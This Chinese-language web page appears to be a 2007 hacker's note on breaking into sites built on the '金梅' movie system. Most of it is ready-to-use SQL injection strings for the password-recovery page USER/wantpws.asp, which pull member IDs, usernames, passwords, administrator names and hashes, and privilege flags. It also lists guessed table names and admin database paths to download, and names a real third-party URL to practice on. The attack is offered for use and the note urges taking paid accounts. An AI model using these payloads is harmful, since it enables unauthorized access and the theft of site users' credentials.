金梅电影系统破解笔记(破解率80%以上)

 更新时间:2007年01月16日 00:00:00   作者:  
金梅电影系统破解笔记(破解率80%以上)  
从我在265.com的黑客日记本中拷贝出,绝对珍藏!!!!!!!!  
如果以后有机会,我会公开我的日记  

金梅3几乎不存在了,如果有可以用  

黄金眼(上篇14个后台那篇有上传的注册版)  
不会用的 可以看 怪狗的 黄金眼动画教程  

或者 臭要饭的 写的 绝世猜解SQL注入器(这可是个好东东啊)  



下面的东西有些概要,基本上是看  
黑客x档案 4期 和 5期的 总结出的笔记  
针对现在网上的所有金梅版本 好象都有效!!!!!!  
不过那些收费站都是骗人的,里面全是盗连,坏连!!!!!!!!!  
我破解了n个站点,只有几个是好的  

特别注意!!!!:那些代码都是在USER/wantpws.asp 页注入的  

你注册用户名: lamianbu  
密码提示问题: lamianbu  
密友提示答案:(填入方法1和方法2中的代码)  

其实,前两项,和第三项的开头 随便填的,不相同也行  
我都填a的  

还要注意!!!!  
返回页“你的密码是”后面其实不是密码!!!!!!!!!!  

比如方法2 前三次分别得到的是  

id(没用)  
用户名(登陆用)  
密码(登陆用)  



金梅4SQL注入  

心情:   2004-5-14 21:58:26   晴朗   星期五   收藏:    


login.asp    
Register    
高级管理员登录. 用 名:, 密 码:,    


Register高级管理员登录. 用 名:, 密 码:,    



USER/wantpws.asp    
如果你忘记了自己的密码    
如果你忘记了自己的密码,请在如下表单里输入你的密码提示信      
息!. 你注册用户名: 密码提示问题: 密友提示答案:. 返回首      
页.      


方法1    

得注册用户名:    
lamianbu 'union select userid from users where oklook=3 or '0    

oklook=x    
0游1普2白3黄4钻(4手5钻)    

得密码(可能不对应,所以推荐方法2):    
注册用户名处填 用户名' or '1=1    



方法2    

得用户id为xxx:    
lamianbu 'union select id from users where oklook=3 or '0    

得id对应用户名:    
lamianbu 'union select userid from users where id=xxx or '0    

得id对应密码:    
lamianbu 'union select password from users where id=xxx or '0    


得管理员用户名:    
lamianbu 'union select name from password where id>=1 or '0    

得管理员密码:(金梅4有md5加密,看到的是16位乱码)  
lamianbu 'union select pwd from password where id>=1 or '0    

表名:金梅4为:fdg85675fd    
会员版为:password    
有些版本为:okwiantgo    

验证管理员权限:    
lamianbu 'union select flag from password where id>=1    
返回1超,2高,3初,4无    

login.asp    
findaccount.asp    
构造一个变绝对路径    
findaccount.asp?name=xxx&pwd=xxx    


网际快车得数据库:    
movie/admin9988.asp    
金梅4为:data/admin2000.asp 或 data/admin2002.asp    
下载后改为admin9988.mdb    
拿这页练练手啊  
破解出 黄金帐号和密码 请不要 修改和公布(后来人也要练手啊)  
登陆进去 记得走时要退出登陆 (一个帐号不能几人同时用的)  
http://www.westedu.org/mov/USER/wantpws.asp  
更多金梅去 google 找  

实际上金梅系统没有这页也可以  
构造出同版本的类似页进行注入  

相关文章

最新评论